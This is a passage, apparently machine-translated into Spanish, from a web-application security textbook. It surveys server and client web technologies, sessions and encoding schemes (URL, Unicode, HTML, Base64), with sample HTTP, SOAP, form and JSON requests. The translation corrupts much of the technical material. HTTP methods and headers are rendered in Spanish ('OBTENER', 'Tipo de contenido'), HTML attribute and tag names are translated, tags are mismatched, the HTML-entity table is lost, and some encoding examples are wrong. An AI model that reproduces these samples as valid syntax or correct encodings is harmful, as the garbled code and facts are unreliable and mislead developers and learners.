El marco ASP.NET ayuda a proteger contra algunas vulnerabilidades comunes de aplicaciones
web, como secuencias de comandos entre sitios, sin requerir ningún esfuerzo por parte del
desarrollador. Sin embargo, una desventaja práctica de su aparente simplicidad es que muchas
aplicaciones ASP.NET de pequeña escala en realidad son creadas por principiantes que no
conocen los problemas de seguridad centrales que enfrentan las aplicaciones web.
PHP
El lenguaje PHP surgió de un proyecto de pasatiempo (el acrónimo originalmente significaba
"página de inicio personal"). Desde entonces, ha evolucionado de forma casi irreconocible hasta
convertirse en un marco muy potente y rico para desarrollar aplicaciones web. A menudo se usa
junto con otras tecnologías libres en lo que se conoce como la pila LAMP (compuesta por Linux
como sistema operativo, Apache como servidor web, MySQL como servidor de base de datos y
PHP como lenguaje de programación para la aplicación web) .
Se han desarrollado numerosas aplicaciones y componentes de código abierto utilizando PHP.

Muchos de estos proporcionan soluciones listas para usar para funciones de aplicaciones
comunes, que a menudo se incorporan a aplicaciones personalizadas más amplias:
n Tableros de anuncios — PHPBB, PHP-Nuke
n Interfaz administrativa — PHPMyAdmin

n Correo web — SquirrelMail, IlohaMail n
Galerías de fotos — Galería n Carritos de
compras — osCommerce, ECW-Shop n Wikis —

MediaWiki, WakkaWiki
Debido a que PHP es gratuito y fácil de usar, a menudo ha sido el lenguaje elegido por muchos
principiantes que escriben aplicaciones web. Además, históricamente, el diseño y la configuración
predeterminada del marco PHP han facilitado que los programadores introduzcan errores de
seguridad en su código sin saberlo. Estos factores han significado que las aplicaciones escritas
en PHP hayan sufrido un número desproporcionado de vulnerabilidades de seguridad. Además,
han existido varios defectos dentro de la propia plataforma PHP que a menudo podrían explotarse
a través de aplicaciones que se ejecutan en ella. Consulte el Capítulo 19 para obtener detalles
sobre los defectos comunes que surgen en las aplicaciones PHP.
Ruby on Rails
Rails 1.0 se lanzó en 2005, con un fuerte énfasis en la arquitectura Model-View-Controller. Una
fortaleza clave de Rails es la velocidad vertiginosa con la que se pueden crear aplicaciones
basadas en datos completamente desarrolladas. Si un desarrollador sigue el estilo de codificación
y las convenciones de nomenclatura de Rails, Rails puede generar automáticamente un modelo
para el contenido de la base de datos, las acciones del controlador para modificarlo y las vistas
predeterminadas para el usuario de la aplicación. Al igual que con cualquier nueva tecnología
altamente funcional, se han encontrado varias vulnerabilidades en Ruby on Rails, incluida la
capacidad de omitir un "modo seguro", análogo al que se encuentra en PHP.
Puede encontrar más detalles sobre vulnerabilidades recientes aquí:
www.ruby-lang.org/en/security/
sql
El lenguaje de consulta estructurado (SQL) se utiliza para acceder a datos en bases de datos
relacionales, como Oracle, servidor MS-SQL y MySQL. La gran mayoría de las aplicaciones web
actuales emplean bases de datos basadas en SQL como su almacén de datos de back-end, y casi
todas las funciones de la aplicación implican interacción con estos almacenes de datos de alguna manera.
Las bases de datos relacionales almacenan datos en tablas, cada una de las cuales contiene
varias filas y columnas. Cada columna representa un campo de datos, como "nombre" o "dirección
de correo electrónico", y cada fila representa un elemento con valores asignados a algunos o
todos estos campos.
SQL usa consultas para realizar tareas comunes como leer, agregar, actualizar y eliminar
datos. Por ejemplo, para recuperar la dirección de correo electrónico de un usuario con un nombre
específico, una aplicación podría realizar la siguiente consulta:
seleccione el correo electrónico de los usuarios donde nombre = 'daf'
Para implementar la funcionalidad que necesitan, las aplicaciones web pueden

incorporar entradas proporcionadas por el usuario en consultas SQL que ejecuta la base
de datos de back-end. Si este proceso no se lleva a cabo de manera segura, los
atacantes pueden enviar entradas maliciosas para interferir con la base de datos y
potencialmente leer y escribir datos confidenciales. Estos ataques se describen en el
Capítulo 9, junto con explicaciones detalladas del lenguaje SQL y cómo se puede utilizar.
XML
El lenguaje de marcado extensible (XML) es una especificación para codificar datos en un formato legible por
máquina. Como cualquier lenguaje de marcado, el formato XML separa un documento en contenido (que son datos)
y marcado (que anota los datos).
El marcado se representa principalmente mediante etiquetas, que pueden ser etiquetas de inicio, etiquetas de
finalización o etiquetas de elementos vacíos:
<nombre de etiqueta>
</nombre de etiqueta>
<nombre de etiqueta />
Las etiquetas de inicio y finalización se emparejan en elementos y pueden encapsular el documento

contenido o elementos secundarios:
<mascota>jengibre</mascota>
<mascotas><perro>mancha</perro><gato>patas</cat></mascotas>
Las etiquetas pueden incluir atributos, que son pares de nombre/valor:
<versión de datos=”2.1”><mascotas>...</mascotas></datos>
XML es extensible en el sentido de que permite etiquetas arbitrarias y nombres de

atributos. Los documentos XML suelen incluir una definición de tipo de documento (DTD),
que define las etiquetas y los atributos utilizados en los documentos y las formas en que
se pueden combinar.
XML y las tecnologías derivadas de él se utilizan ampliamente en las aplicaciones web , tanto en el lado del
servidor como en el del cliente, como se describe en secciones posteriores de este capítulo.
Servicios web
Aunque este libro cubre la piratería de aplicaciones web, muchas de las vulnerabilidades descritas son igualmente
aplicables a los servicios web. De hecho, muchas aplicaciones son esencialmente una interfaz gráfica de usuario
para un conjunto de servicios web de back-end.
Los servicios web utilizan el Protocolo simple de acceso a objetos (SOAP) para intercambiar datos.
SOAP generalmente usa el protocolo HTTP para transmitir mensajes y representa
datos usando el formato XML.
Una solicitud SOAP típica es la siguiente:
POST /doTransfer.asp HTTP/1.0 Host: mdsec-

mgr.int.mdsec.net Tipo de contenido: application/
soap+xml; conjunto de caracteres = utf-8
Longitud del contenido: 891 <?
xml version=”1.0”?>
<jabón:Sobre xmlns:soap=”http://www.w3.org/2001/12/soap-envelope”>
<jabón:Cuerpo>
<pre:Agregar xmlns:pre=http://target/lists soap:encodingStyle= “http://www.w3.org/2001/12/soap-
encoding”>
<Cuenta>
<DeCuenta>18281008</DeCuenta>
<Cantidad>1430</Cantidad>
<ClearedFunds>Falso</ClearedFunds>
<ParaCuenta>08447656</ParaCuenta>
</Cuenta>
</pre:Agregar>
</jabon:Cuerpo>
</jabon:Sobre>
En el contexto de las aplicaciones web a las que se accede mediante un navegador, lo más
probable es que la aplicación del lado del servidor utilice SOAP para comunicarse con varios sistemas
de back-end. Si los datos proporcionados por el usuario se incorporan directamente en los mensajes
SOAP de back-end, pueden surgir vulnerabilidades similares a las de SQL. Estos problemas se
describen en detalle en el Capítulo 10.
Si una aplicación web también expone servicios web directamente, estos también son
dignos de examen. Incluso si la aplicación front-end simplemente se escribe sobre el
servicio web, pueden existir diferencias en el manejo de entrada y en la funcionalidad
expuesta por los propios servicios. El servidor normalmente publica los servicios y
parámetros disponibles utilizando el formato de lenguaje de descripción de servicios web
(WSDL) . Se pueden usar herramientas como soapUI para crear solicitudes de muestra
basadas en un archivo WSDL publicado para llamar al servicio web de autenticación,
obtener un token de autenticación y realizar cualquier solicitud de servicio web posterior.
Funcionalidad del lado del cliente

Para que la aplicación del lado del servidor reciba información y acciones del usuario y presente los
resultados al usuario, debe proporcionar una interfaz de usuario del lado del cliente. Debido a que se
accede a todas las aplicaciones web a través de un navegador web, todas estas interfaces comparten un
núcleo común de tecnologías. Sin embargo, estos se han desarrollado de diversas maneras, y
las formas en que las aplicaciones aprovechan la tecnología del lado del cliente han seguido
evolucionando rápidamente en los últimos años.
HTML
La tecnología central utilizada para crear interfaces web es el lenguaje de marcado de hipertexto
(HTML). Al igual que XML, HTML es un lenguaje basado en etiquetas que se utiliza para
describir la estructura de los documentos que se representan en el navegador. Desde sus
comienzos simples como un medio para proporcionar formato básico para documentos de texto,
HTML se ha convertido en un lenguaje rico y poderoso que puede usarse para crear interfaces
de usuario altamente complejas y funcionales.
XHTML es un desarrollo de HTML que se basa en XML y que tiene una especificación más
estricta que las versiones anteriores de HTML. Parte de la motivación para XHTML fue la
necesidad de avanzar hacia un estándar más rígido para el marcado HTML para evitar los
diversos compromisos y problemas de seguridad que pueden surgir cuando los navegadores
están obligados a tolerar formas menos estrictas de HTML.
Más detalles sobre HTML y tecnologías relacionadas aparecen a continuación
secciones.
hipervínculos
Una gran cantidad de comunicación entre el cliente y el servidor se realiza cuando el usuario
hace clic en los hipervínculos. En las aplicaciones web, los hipervínculos suelen contener
parámetros de solicitud preestablecidos. Estos son elementos de datos que el usuario nunca
ingresa; se envían porque el servidor los coloca en la URL de destino del hipervínculo en el que
hace clic el usuario. Por ejemplo, una aplicación web puede presentar una serie de enlaces a
noticias, cada uno con la siguiente forma:
<a href=”?redir=/updates/update29.html”>¿Qué está pasando?</a>
Cuando un usuario hace clic en este enlace, el navegador realiza la siguiente solicitud:
OBTENER /noticias/8/?redir=/actualizaciones/actualización29.html HTTP/1.1

...
El servidor recibe el parámetro redir en la cadena de consulta y usa su valor para determinar
qué contenido se debe presentar al usuario.
formularios
Aunque la navegación basada en hipervínculos es responsable de una gran cantidad de

comunicaciones entre el cliente y el servidor, la mayoría de las aplicaciones web necesitan formas
más flexibles de recopilar información y recibir acciones de los usuarios. Los formularios HTML son los habituales
mecanismo para permitir a los usuarios ingresar entradas arbitrarias a través de su navegador.
Una forma típica es la siguiente:
<form action=”/secure/login.php?app=quotations” method=”post”> nombre de usuario: <input

type=”text” name=”username”><br> contraseña: <input type=”password” nombre =”contraseña”>
<tipo de entrada=”oculto” nombre=”redir” value=”/secure/home.php”> <tipo de entrada=”enviar”
nombre=”enviar” valor=”iniciar sesión”>
</formulario>
Cuando el usuario ingresa valores en el formulario y hace clic en el botón Enviar, el navegador realiza
una solicitud como la siguiente:
POST /secure/login.php?app=citas HTTP/1.1

Host: wahh-app.com Tipo de
contenido: application/x-www-form-urlencoded
Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd
nombre de usuario=daf&contraseña=foo&redir=/secure/home.php&submit=log+in
En esta solicitud, varios puntos de interés reflejan cómo se utilizan diferentes aspectos de la solicitud
para controlar el procesamiento del lado del servidor:
n Debido a que la etiqueta del formulario HTML contiene un atributo que especifica
el método POST , el navegador usa este método para enviar el formulario y
coloca los datos del formulario en el cuerpo del mensaje de solicitud.
n Además de los dos elementos de datos que ingresa el usuario, el formulario
contiene un parámetro oculto (redir) y un parámetro de envío (enviar). Ambos
se envían en la solicitud y pueden ser utilizados por la aplicación del lado del
servidor para controlar su lógica.
n La URL de destino para el envío del formulario contiene un parámetro preestablecido (aplicación),
como en el ejemplo de hipervínculo que se muestra anteriormente. Este parámetro se puede
utilizar para controlar el procesamiento del lado del servidor.
n La solicitud contiene un parámetro de cookie (SESS), que se envió al navegador en una respuesta
anterior del servidor. Este parámetro se puede utilizar para controlar el procesamiento del lado
del servidor.
La solicitud anterior contiene un encabezado que especifica que el tipo de contenido en el cuerpo del
mensaje es x-www-form-urlencoded. Esto significa que los parámetros se representan en el cuerpo del
mensaje como pares de nombre/valor de la misma manera que en la cadena de consulta de URL. El
otro tipo de contenido que probablemente encontrará cuando se envían datos de formulario es multipart/
form-data. Una aplicación puede solicitar que los navegadores utilicen codificación de varias partes
especificando esto en un atributo enctype en la etiqueta del formulario. Con esta forma de codificación,
el encabezado Content-Type en la solicitud también especifica una cadena aleatoria que se usa como
separador para el
parámetros contenidos en el cuerpo de la solicitud. Por ejemplo, si el formulario especificó

una codificación de varias partes, la solicitud resultante sería similar a la siguiente:
POST /secure/login.php?app=citas HTTP/1.1

Host: wahh-app.com Tipo de
contenido: multipart/form-data; límite=-----------7d71385d0a1a
Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre=”nombre de usuario”
daf
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre=”contraseña”
Foo
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre = "redirección"
/seguro/casa.php
------------7d71385d0a1a
Contenido-Disposición: formulario-datos; nombre = "enviar"
iniciar sesión
------------7d71385d0a1a--
CSS
Las hojas de estilo en cascada (CSS) es un lenguaje utilizado para describir la presentación
de un documento escrito en un lenguaje de marcado. Dentro de las aplicaciones web, se
utiliza para especificar cómo se debe representar el contenido HTML en la pantalla (y en otros
medios, como la página impresa).
Los estándares web modernos tienen como objetivo separar tanto como sea posible el
contenido de un documento de su presentación. Esta separación tiene numerosos beneficios,
que incluyen páginas HTML más simples y pequeñas, una actualización más sencilla del
formato en un sitio web y una mejor accesibilidad.
CSS se basa en reglas de formato que se pueden definir con diferentes niveles de
especificidad. Cuando varias reglas coinciden con un elemento de documento individual, los
diferentes atributos definidos en esas reglas pueden "en cascada" a través de estas reglas
para que se aplique la combinación apropiada de atributos de estilo al elemento.
La sintaxis CSS utiliza selectores para defi nir una clase de elementos de marcado a los
que se debe aplicar un conjunto determinado de atributos. Por ejemplo, la siguiente regla
CSS defi ne el color de primer plano para los encabezados marcados con etiquetas <h2> :
h2 { color: rojo; }
En los primeros días de la seguridad de las aplicaciones web, CSS se pasaba por alto en gran
medida y se consideraba que no tenía implicaciones de seguridad. Hoy en día, CSS es cada vez más
relevante como fuente de vulnerabilidades de seguridad por derecho propio y como medio para ofrecer
explotaciones efectivas para otras categorías de vulnerabilidades (consulte los Capítulos 12 y 13 para
obtener más información).
JavaScript
Los hipervínculos y los formularios se pueden usar para crear una interfaz de usuario enriquecida que
pueda recopilar fácilmente la mayoría de los tipos de entrada que requieren las aplicaciones web. Sin
embargo, la mayoría de las aplicaciones emplean un modelo más distribuido, en el que el lado del
cliente se usa no solo para enviar datos y acciones del usuario, sino también para realizar el
procesamiento real de los datos. Esto se hace por dos razones principales:
n Puede mejorar el rendimiento de la aplicación, ya que determinadas tareas se pueden realizar

íntegramente en el componente cliente, sin necesidad de hacer un ida y vuelta de petición y
respuesta al servidor.
n Puede mejorar la usabilidad, porque partes de la interfaz de usuario pueden actualizarse

dinámicamente en respuesta a las acciones del usuario, sin necesidad de cargar una página
HTML completamente nueva proporcionada por el servidor.
JavaScript es un lenguaje de programación relativamente simple pero poderoso que se puede usar
fácilmente para extender las interfaces web de maneras que no son posibles usando solo HTML. Se
utiliza comúnmente para realizar las siguientes tareas:
n Validar los datos ingresados por el usuario antes de enviarlos al servidor para evitar solicitudes
innecesarias si los datos contienen errores.
n Modificar dinámicamente la interfaz de usuario en respuesta a las acciones del usuario, por
ejemplo, para implementar menús desplegables y otros controles familiares de las interfaces
que no son web.
n Consultar y actualizar el modelo de objeto de documento (DOM) dentro del navegador para
controlar el comportamiento del navegador (el DOM del navegador se describe en un momento)
VBScript
VBScript es una alternativa a JavaScript que solo es compatible con el navegador Internet Explorer.
Está modelado en Visual Basic y permite la interacción con el navegador DOM. Pero en general es
algo menos potente y desarrollado que JavaScript.
Debido a su naturaleza específi ca del navegador, VBScript apenas se usa en las aplicaciones web
actuales. Su principal interés desde la perspectiva de la seguridad es como un medio para aprovechar
las vulnerabilidades, como las secuencias de comandos entre sitios, en situaciones ocasionales en las
que no es factible explotar el uso de JavaScript (consulte el Capítulo 12).
Modelo de objeto de documento
El Modelo de objetos de documento (DOM) es una representación abstracta de un documento

HTML que se puede consultar y manipular a través de su API.
El DOM permite que los scripts del lado del cliente accedan a elementos HTML individuales por
su id y atraviesen la estructura de los elementos mediante programación. También se pueden leer
y actualizar datos como la URL actual y las cookies. El DOM también incluye un modelo de eventos,
lo que permite que el código enganche eventos como el envío de formularios, la navegación a
través de enlaces y las pulsaciones de teclas.
La manipulación del DOM del navegador es una técnica clave utilizada en los sistemas basados en Ajax.
aplicaciones, como se describe en la siguiente sección.
Ajax
Ajax es una colección de técnicas de programación utilizadas en el lado del cliente para crear
interfaces de usuario que tienen como objetivo imitar la interacción fluida y el comportamiento
dinámico de las aplicaciones de escritorio tradicionales.
El nombre originalmente era un acrónimo de "JavaScript asíncrono y XML", aunque en la web
actual, las solicitudes Ajax no necesitan ser asíncronas ni emplear XML.
Las primeras aplicaciones web se basaban en páginas completas. Cada acción del usuario,
como hacer clic en un enlace o enviar un formulario, iniciaba un evento de navegación a nivel de
ventana, lo que provocaba que se cargara una nueva página desde el servidor. Este enfoque dio
como resultado una experiencia de usuario inconexa, con retrasos notables mientras se recibían
grandes respuestas del servidor y se volvía a renderizar toda la página.
Con Ajax, algunas acciones del usuario se manejan dentro del código del script del lado del
cliente y no provocan una recarga completa de la página. En su lugar, la secuencia de comandos
realiza una solicitud "en segundo plano" y, por lo general, recibe una respuesta mucho más pequeña
que se utiliza para actualizar dinámicamente solo una parte de la interfaz de usuario. Por ejemplo,
en una aplicación de compras basada en Ajax, hacer clic en el botón Agregar al carrito puede
generar una solicitud en segundo plano que actualiza el registro del lado del servidor del carrito de
compras del usuario y una respuesta ligera que actualiza la cantidad de elementos del carrito que
se muestran en la pantalla del usuario. . Prácticamente toda la página existente permanece sin
modificar dentro del navegador, proporcionando una experiencia mucho más rápida y satisfactoria para el usuario.
La tecnología central utilizada en Ajax es XMLHttpRequest. Después de cierta consolidación de
estándares, ahora es un objeto JavaScript nativo que los scripts del lado del cliente pueden usar
para realizar solicitudes "en segundo plano" sin requerir un evento de navegación a nivel de
ventana . A pesar de su nombre, XMLHttpRequest permite que se envíe contenido arbitrario en
solicitudes y se reciba en respuestas. Aunque muchas aplicaciones Ajax usan XML para dar formato
a los datos de los mensajes, un número cada vez mayor ha optado por intercambiar datos utilizando
otros métodos de representación. (Consulte la siguiente sección para ver un ejemplo).
Tenga en cuenta que aunque la mayoría de las aplicaciones Ajax utilizan comunicaciones
asíncronas con el servidor, esto no es esencial. En algunas situaciones, en realidad puede hacer
más sentido para evitar la interacción del usuario con la aplicación mientras se lleva a cabo una
determinada acción. En estas situaciones, Ajax sigue siendo beneficioso al brindar una experiencia
más fluida al evitar la necesidad de recargar una página completa.
Históricamente, el uso de Ajax ha introducido algunos tipos nuevos de vulnerabilidades en
las aplicaciones web. En términos más generales, también aumenta la superficie de ataque de
una aplicación típica al introducir más objetivos potenciales para ataques tanto en el servidor
como en el lado del cliente. Las técnicas Ajax también están disponibles para que las utilicen los
atacantes cuando están diseñando explotaciones más efectivas para otras vulnerabilidades.
Consulte los Capítulos 12 y 13 para obtener más detalles.
JSON
La notación de objetos de JavaScript (JSON) es un formato de transferencia de datos simple que
se puede usar para serializar datos arbitrarios. Puede ser procesado directamente por intérpretes
de JavaScript. Se emplea comúnmente en aplicaciones Ajax como una alternativa al formato
XML utilizado originalmente para la transmisión de datos. En una situación típica, cuando un
usuario realiza una acción, JavaScript del lado del cliente usa XMLHttpRequest para comunicar
la acción al servidor. El servidor devuelve una respuesta ligera que contiene datos en formato
JSON. El script del lado del cliente luego procesa estos datos y actualiza la interfaz de usuario
en consecuencia.
Por ejemplo, una aplicación de correo web basada en Ajax puede contener una función para
mostrar los detalles de un contacto seleccionado. Cuando un usuario hace clic en un contacto,
el navegador usa XMLHttpRequest para recuperar los detalles del contacto seleccionado, que
se devuelven mediante JSON:
{
"nombre": "Mike Kemp", "id":
"8041148671", "correo
electrónico": "[email protected]"
}
El script del lado del cliente usa el intérprete de JavaScript para consumir la respuesta
JSON y actualiza la parte relevante de la interfaz de usuario en función de su contenido.
Otra ubicación en la que puede encontrar datos JSON en las aplicaciones actuales es como
un medio para encapsular datos dentro de parámetros de solicitud convencionales. Por ejemplo,
cuando el usuario actualiza los detalles de un contacto, la nueva información puede comunicarse
al servidor mediante la siguiente solicitud:
POST /contactos HTTP/1.0

Tipo de contenido: application/x-www-form-urlencoded
Contacto={“nombre”:”Mike Kemp”,”id”:”8041148671”,”correo electrónico”:”pikey@

clappymonkey.com”}
&enviar=actualizar
Política del mismo origen

La política del mismo origen es un mecanismo clave implementado dentro de los navegadores
que está diseñado para evitar que el contenido que proviene de diferentes orígenes interfiera
entre sí. Básicamente, el contenido recibido de un sitio web puede leer y modificar otro
contenido recibido del mismo sitio, pero no puede acceder al contenido recibido de otros sitios.
Si no existiera la política del mismo origen, y un usuario involuntario navegó a un sitio web
malicioso, el código de secuencia de comandos que se ejecuta en ese sitio podría acceder a
los datos y la funcionalidad de cualquier otro sitio web que también visite el usuario. Esto puede
permitir que el sitio malicioso realice transferencias de fondos desde el banco en línea del
usuario, lea su correo web o capture los detalles de la tarjeta de crédito cuando el usuario
compra en línea. Por ello, los navegadores implementan restricciones para permitir este tipo de
interacción únicamente con contenidos que hayan sido recibidos desde el mismo origen.
En la práctica, la aplicación de este concepto a los detalles de diferentes características y
tecnologías web genera varias complicaciones y compromisos. Aquí hay algunas características
clave de la política del mismo origen que debe tener en cuenta:
n Una página que reside en un dominio puede provocar que se realice una solicitud
arbitraria a otro dominio (por ejemplo, al enviar un formulario o cargar una imagen). Pero
no puede procesar por sí mismo los datos devueltos por esa solicitud. n Una página que
reside en un dominio puede cargar un script de otro dominio y ejecutarlo dentro de su
propio contexto. Esto se debe a que se supone que los scripts contienen código, en
lugar de datos, por lo que el acceso entre dominios no debería dar lugar a la divulgación
de información confidencial.
n Una página que reside en un dominio no puede leer ni modificar las cookies u otros datos
DOM pertenecientes a otro dominio.
Estas funciones pueden dar lugar a varios ataques entre dominios, como inducir acciones
del usuario y capturar datos. Surgen más complicaciones con las tecnologías de extensión del
navegador, que implementan restricciones del mismo origen de diferentes maneras. Estos
temas se discuten en detalle en el Capítulo 13.
HTML5
HTML5 es una actualización importante del estándar HTML. Actualmente, HTML5 todavía está
en desarrollo y solo se implementa parcialmente en los navegadores.
Desde una perspectiva de seguridad, HTML5 es de interés principalmente por las siguientes
razones:
n Introduce varias etiquetas, atributos y API nuevos que se pueden aprovechar para
generar secuencias de comandos entre sitios y otros ataques, como se describe en el
Capítulo 12.
n Modifica la tecnología central de Ajax, XMLHttpRequest, para permitir la interacción

bidireccional entre dominios en determinadas situaciones. Esto puede dar lugar a nuevos
ataques entre dominios, como se describe en el Capítulo 13.
n Introduce nuevos mecanismos para el almacenamiento de datos del lado del cliente, lo que puede
generar problemas de privacidad del usuario y nuevas categorías de ataque, como la inyección SQL
del lado del cliente, como se describe en el Capítulo 13.
"Web 2.0"
Esta palabra de moda se ha puesto de moda en los últimos años como un nombre bastante
vago y nebuloso para una variedad de tendencias relacionadas con las aplicaciones web,
incluidas las siguientes:
n Uso intensivo de Ajax para realizar solicitudes asincrónicas entre bastidores n Mayor integración entre
dominios utilizando varias técnicas n Uso de nuevas tecnologías en el lado del cliente, incluidos XML,
JSON y Flex n Funcionalidad más destacada que admite contenido generado por el usuario , intercambio
de información e interacción
Al igual que con todos los cambios en la tecnología, estas tendencias presentan nuevas
oportunidades para que surjan vulnerabilidades de seguridad. Sin embargo, no definen un
subconjunto claro de problemas de seguridad de aplicaciones web en general. Las
vulnerabilidades que ocurren en estos contextos son en gran medida las mismas, o se derivan
de los tipos de habilidades de los vulnerables que precedieron a estas tendencias. En general,
hablar de “Seguridad Web 2.0” suele representar un error de categoría que no facilita pensar con
claridad sobre los temas que importan.
Tecnologías de extensión del navegador

Yendo más allá de las capacidades de JavaScript, algunas aplicaciones web emplean tecnologías
de extensión del navegador que usan código personalizado para ampliar las capacidades
integradas del navegador de formas arbitrarias. Estos componentes pueden implementarse como
código de bytes que se ejecuta mediante un complemento de navegador adecuado o pueden
implicar la instalación de ejecutables nativos en la computadora del cliente. Las tecnologías de
cliente grueso con las que es probable que se encuentre al atacar aplicaciones web son
n applets de Java
n Controles ActiveX
n Objetos Flash n
Objetos Silverlight
Estas tecnologías se describen en detalle en el Capítulo 5.

Estado y Sesiones
Las tecnologías descritas hasta ahora permiten que los componentes de servidor y cliente de una
aplicación web intercambien y procesen datos de muchas maneras. Sin embargo, para implementar
la mayoría de los tipos de funciones útiles, las aplicaciones necesitan realizar un seguimiento del
estado de la interacción de cada usuario con la aplicación a través de múltiples solicitudes. Por
ejemplo, una aplicación de compras puede permitir a los usuarios navegar por un catálogo de
productos, agregar artículos a un carrito, ver y actualizar el contenido del carrito, proceder al pago y
proporcionar detalles personales y de pago.
Para hacer posible este tipo de funcionalidad, la aplicación debe mantener un conjunto de datos
con estado generados por las acciones del usuario a través de varias solicitudes. Estos datos
normalmente se mantienen dentro de una estructura del lado del servidor llamada sesión. Cuando
un usuario realiza una acción, como agregar un artículo a su carrito de compras, la aplicación del
lado del servidor actualiza los detalles relevantes dentro de la sesión del usuario. Cuando el usuario
luego ve el contenido de su carrito, los datos de la sesión se utilizan para devolver la información
correcta al usuario.
En algunas aplicaciones, la información de estado se almacena en el componente del cliente en
lugar del servidor. El conjunto actual de datos se pasa al cliente en cada respuesta del servidor y se
envía de vuelta al servidor en cada solicitud del cliente. Por supuesto, debido a que el usuario puede
modificar cualquier dato transmitido a través del componente del cliente, las aplicaciones deben
protegerse de los atacantes que pueden cambiar esta información de estado en un intento de
interferir con la lógica de la aplicación. La plataforma ASP.NET utiliza un campo de formulario oculto
llamado ViewState para almacenar información de estado sobre la interfaz web del usuario y, por lo
tanto, reducir la sobrecarga en el servidor. De forma predeterminada, el contenido de ViewState
incluye un hash con clave para evitar la manipulación.
Debido a que el protocolo HTTP no tiene estado, la mayoría de las aplicaciones necesitan una
forma de volver a identificar a los usuarios individuales a través de múltiples solicitudes para usar el
conjunto correcto de datos de estado para procesar cada solicitud. Normalmente, esto se logra
emitiendo a cada usuario un token que identifique de forma única la sesión de ese usuario. Estos
tokens pueden transmitirse utilizando cualquier tipo de parámetro de solicitud, pero la mayoría de
las aplicaciones utilizan cookies HTTP. Surgen varios tipos de vulnerabilidades en relación con el
manejo de sesiones, como se describe en detalle en el Capítulo 7.
Esquemas de codificación
Las aplicaciones web emplean varios esquemas de codificación diferentes para sus datos. Tanto el
protocolo HTTP como el lenguaje HTML se basan históricamente en texto, y se han ideado diferentes
esquemas de codificación para garantizar que estos mecanismos puedan manejar con seguridad
caracteres inusuales y datos binarios. Cuando está atacando una aplicación web, con frecuencia
necesitará codificar datos usando un
esquema para asegurarse de que se maneja de la manera que usted desea. Además, en muchos
casos, es posible que pueda manipular los esquemas de codificación que usa una aplicación para
provocar un comportamiento que sus diseñadores no pretendían.
Codificación de URL
Se permite que las direcciones URL contengan solo los caracteres imprimibles en el juego de
caracteres US-ASCII, es decir, aquellos cuyo código ASCII está en el rango de 0x20 a 0x7e,
inclusive. Además, varios caracteres dentro de este rango están restringidos porque tienen un
significado especial dentro del propio esquema de URL o dentro del protocolo HTTP.
El esquema de codificación de URL se utiliza para codificar cualquier carácter problemático

dentro del conjunto de caracteres ASCII extendido para que puedan transportarse de forma
segura a través de HTTP. La forma codificada de URL de cualquier carácter es el prefijo %
seguido del código ASCII de dos dígitos del carácter expresado en hexadecimal. Aquí hay
algunos caracteres que comúnmente están codificados en URL:
n %3d — =
n %25 — %
n %20 — Espacio
n %0a — Nueva línea
n %00 — Byte nulo
Otra codificación a tener en cuenta es el carácter + , que representa un

Espacio con codificación URL (además de la representación %20 de un espacio).
NOTA Con el fin de atacar aplicaciones web, debe codificar en URL cualquiera
de los siguientes caracteres cuando los inserte como datos en un
Solicitud HTTP:
espacio % ? & = ; + #
(Por supuesto, a menudo necesitará usar estos caracteres con su significado

especial al modificar una solicitud; por ejemplo, para agregar un parámetro de solicitud
a la cadena de consulta. En este caso, deben usarse en su forma literal).
Codificación Unicode
Unicode es un estándar de codificación de caracteres diseñado para admitir todos los sistemas
de escritura del mundo. Emplea varios esquemas de codificación, algunos de los cuales
pueden usarse para representar caracteres inusuales en aplicaciones web.
La codificación Unicode de 16 bits funciona de manera similar a la codificación de URL.
Para la transmisión a través de HTTP, la forma codificada Unicode de 16 bits de un carácter es
el prefijo %u seguido del punto de código Unicode del carácter expresado en

hexadecimal:
n %u2215 — /
n %u00e9 — es
UTF-8 es un estándar de codificación de longitud variable que emplea uno o más bytes
para expresar cada carácter. Para la transmisión a través de HTTP, la forma codificada
en UTF-8 de un carácter multibyte simplemente usa cada byte expresado en hexadecimal
y precedido por el prefijo % :
n %c2%a9 — ©
n %e2%89%a0 —
Con el propósito de atacar aplicaciones web, la codificación Unicode es principalmente

de interés porque a veces se puede usar para vencer los mecanismos de validación de
entrada . Si un filtro de entrada bloquea ciertas expresiones maliciosas, pero el
componente que posteriormente procesa la entrada entiende la codificación Unicode, es
posible que se omita el filtro utilizando varias codificaciones Unicode estándar y con
formato incorrecto.
Codificación HTML
La codificación HTML se utiliza para representar caracteres problemáticos para que puedan
incorporarse de forma segura en un documento HTML. Varios caracteres tienen un significado
especial como metacaracteres dentro de HTML y se utilizan para defi nir la estructura de un
documento en lugar de su contenido. Para utilizar estos caracteres de forma segura como
parte del contenido del documento, es necesario codificarlos en HTML.
La codificación HTML define numerosas entidades HTML para representar caracteres literales
específi cos:
"
n " —
'
n ' —
n &amperio; — &
n < — <
n > — >
Además, cualquier carácter puede codificarse en HTML usando su código ASCII en

forma decimal:
"
n " —
'
n'—
o usando su código ASCII en forma hexadecimal (precedido por una x):

"
n " —
'
n ' —
Cuando está atacando una aplicación web, es probable que su principal interés en la codificación
HTML sea cuando busque vulnerabilidades de secuencias de comandos entre sitios. Si una
aplicación devuelve la entrada del usuario sin modificar dentro de sus respuestas, probablemente
sea vulnerable, mientras que si los caracteres peligrosos están codificados en HTML, puede ser
seguro. Consulte el Capítulo 12 para obtener más detalles sobre estas vulnerabilidades.
Codificación Base64
La codificación Base64 permite que cualquier dato binario se represente de forma segura usando solo
caracteres ASCII imprimibles. Se usa comúnmente para codificar archivos adjuntos de correo electrónico
para una transmisión segura a través de SMTP. También se utiliza para codificar las credenciales de usuario en
autenticación HTTP básica.
La codificación Base64 procesa los datos de entrada en bloques de tres bytes. Cada uno de
estos bloques se divide en cuatro fragmentos de seis bits cada uno. Seis bits de datos permiten 64
diferentes permutaciones posibles, por lo que cada fragmento se puede representar usando un
conjunto de 64 caracteres. La codificación Base64 emplea el siguiente conjunto de caracteres, que
contiene solo caracteres ASCII imprimibles:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Si el bloque final de datos de entrada da como resultado menos de tres fragmentos de datos de
salida, la salida se rellena con uno o dos caracteres = .
